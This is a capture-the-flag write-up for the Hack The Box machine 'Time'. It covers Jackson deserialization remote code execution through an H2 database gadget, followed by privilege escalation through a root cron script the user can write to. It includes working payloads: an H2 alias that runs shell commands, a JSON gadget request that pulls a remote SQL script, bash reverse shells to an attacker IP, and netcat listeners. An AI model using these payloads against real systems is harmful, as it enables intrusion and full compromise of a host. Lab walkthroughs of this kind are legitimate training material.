Time

Time is a medium box that involves java deserialization.
By scanning the box we notice an apache server on port 80, while enumerating we notice that the backend of the validate feature uses a library vulnerable to deserialization.
We exploit that vulnerability and gain user.
Then for root we exploit a crontab/permisison misconfiguration that causes a script to be run by root and be writable by the compromised user.
Essentially directly letting us execute commands as root. It is a fun box but can be complicated for those who do not come from a programming background.

HTB

For context, every standard box on HTB has two flags, one for the user and one for root, user.txt and root.txt respectively. The hashes in this writeup will no longer be valid since they are changed every time the machine is reset.

NMAP


# Nmap 7.91 scan initiated Fri Apr  9 13:02:58 2021 as: nmap -p- -sC -sV -oA 10.10.10.214-full 10.10.10.214
Nmap scan report for time.htb (10.10.10.214)
Host is up (0.038s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr  9 13:03:21 2021 -- 1 IP address (1 host up) scanned in 23.10 seconds

There doesn’t seem to be many services listening.
there is openssh 8.2p1, which is standard.
And there is an apache/2.4.41 webserver listening.

User

Enumeration

Let’s start by enumerating the website manually:

The website is using PHP as its backend most likely, since i can get the index.php page.
The running Operating System should be Linux/Ubuntu according to the response headers of the Apache webserver.

Exploring the available features, I see that I can beautify and I can validate a json, the JSON validation feature seems to be tagged as ‘beta’.

When beautifying a JSON nothing fishy happens, whatever I throw at it.
There doesn’t seem to be much going on there, it probably uses json_decode which is input safe.

Validate tho, seems very sketchy.
When I send anything to it I get an error in return.


-------------------
	REQ
-------------------
POST / HTTP/1.1
Host: time.htb
Content-Length: 27
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://time.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Ghost
Accept: */*
Referer: http://time.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

mode=2&data={'test':'test'}


-------------------
	RES
-------------------
HTTP/1.1 200 OK
Date: Fri, 09 Apr 2021 17:10:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 4055
Connection: close
Content-Type: text/html; charset=UTF-8

--- snip ----

<div class="wrap-input100  m-b-16">
	<br>
	<pre><pre>
		Validation failed: Unhandled Java exception:
		 com.fasterxml.jackson.databind.exc.MismatchedInputException: 
		 Unexpected token (START_OBJECT), expected START_ARRAY: need 
		 JSON Array to contain As.WRAPPER_ARRAY type information for 
		 class java.lang.Object
	</pre></pre>
</div>

---- snap ----

We can see here that the underlying application seems to be using fasterxml’s jackson-databind library in order to deserialize our JSON and validate its contents.

While reseaching a bit on this technology I found multiple examples of known deserialiation vulnerabilities that could lead to RCE (Remote Code Injection) by injecting an object in our json.

Basically, the library used by the backend is a bit too smart for its own good.
It will try to instanciate objects when deseriazing the JSON.

By injecting the right object and giving it the right parameters, we can get code to execute in the backend, which means we can most likely get commands running on the underlying Operating System, in this case Ubuntu Linux.

Sources for the object injection vulnerabilities in this library

https://github.com/jault3/jackson-databind-exploit https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jackson-json https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/

Exploitation

While looking for different gadgets that the target installation and version of jackson databind might have.

Gadgets are the name used to describe an object that we can serialize that will give us unintended features. (RCE, File inclusion, File upload, etc)

I found out that a lot of the normally used gadgets to achieve RCE we’re added to a blacklist within the library’s code a way back in an attempt to protect its users from this vuln.

While looking for gadgets that were missed by this blacklist, I stumbled upon this very useful article that found a new vector of attack using a new gadget.
Basically, I can use the H2 library which is an SQL database for Java.

While this library cannot execute java code directly, it can create an alias just like a MySQL DB could, then execute the code inside of it.

This library also has a possibility of being only instanciated in memory within the JVM, which makes it perfect for us since it won’t create a file locally. We can be stealthy :)

source: https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

Here we create an alias caled SHELLEXEC that opens a runtime and executes system commands.
We then call that alias with the wanted command, in our case it is classic bash reverse shell.


CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.22/1337 0>&1')

The below object injection will instanciate a H2 DB in memory and specify our own webserver as the source of the initialization script.

Here are the commands that I used to setup my webserver and listener:


cd exploit/  # navigate to location of test.sql
python3 -m http.server 8000 # start our webserver

--- different terminal ---
nc -lnvp 1337 # start our netcat listener

This will cause the server to download our file and run it, creating the alias within the in-memory H2 DB, and then calling the created alias with our payload.
This should cause the backend to run our reverse shell command and send it to us.

Request and response from BURP:


----------------
	REQ
----------------
POST / HTTP/1.1
Host: time.htb
Content-Length: 171
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://time.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Ghost
Accept: */*
Referer: http://time.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

mode=2&data=["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.22:8000/test.sql'"}]

----------------
	RES
----------------
HTTP/1.1 200 OK
Date: Fri, 09 Apr 2021 17:42:45 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 3893
Connection: close
Content-Type: text/html; charset=UTF-8

---- snip -----

<pre><pre>
	Validation failed: 2021-04-09 17:42:53 lock: 
	3 exclusive write lock requesting for SYS
</pre></pre>

---- snap -----

As we can see here we got a shell as the user pericles.
This gives us the user.txt file, let’s move on to root.

8d7a297b5af15e7d5bae85d45d356c4b //user.txt

ROOT

Stabilizing our reverse shell

Getting a stable shell using python pty:


python3 -c "import pty;pty.spawn('/bin/bash')"
`

let’s enumerate what our user can do or read.

Enumeration

I enumerated the classic things, sudo, processes, files.


find / -readable -type f 2>/dev/null > readable_files.out # get all readable files
ps -ef # show all processes
sudo -l # show super user commands we can do as pericles
while checking the processes, I saw something funky.
But then the next time I ran the ps command, it did not show.
Here is an exemple with less noise using GREP to find the specific funky thing I saw:

This tells us that this script is ran on an interval as the user root.

I pushed pspy to the victim and launched it.
Pspy is a very useful program that let’s us spy on processes from any users on the machine, it will let us analyze exactly what is going on.
It breaks down what commands are run and shows us who is running it.
I uploaded it using my webserver on port 8000 and a curl command.


curl http://10.10.14.22:8000/pspy64 -o pspy 

I found this script on the file system and it seems like my user actually has write access to it.
This is something that could easily happen in a badly managed server.
We can modify the script to do what we want it to do, and it will be run by root.

EZ root !
Let’s put a reverse shell to our attacker machine in there and see if that works for us !

I modified the script to contain the following:


#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
bash -i >& /dev/tcp/10.10.14.22/9999 0>&1

Echo command:


echo "bash -i >& /dev/tcp/10.10.14.22/9999 0>&1" >> timer_backup.sh

And now we start our listener on port 9999 and wait.


nc -lnvp 9999

Woot!

ba8cff9218426574f39aa890e834c256 //root

This gives us the root user and concludes this machine.

Box impressions

Time was a fun box, the foothold is by far the hardest part if you are unfamiliar with deserialization vulnerabilities.
The execution of the exploit can be tedious as well but the ressources and articles about it make it very easy to understand.
The root part is a bit easier since this is a flaw in configuration that is very flagrant if you know crontab, especially the fact that the script is writable by a service user.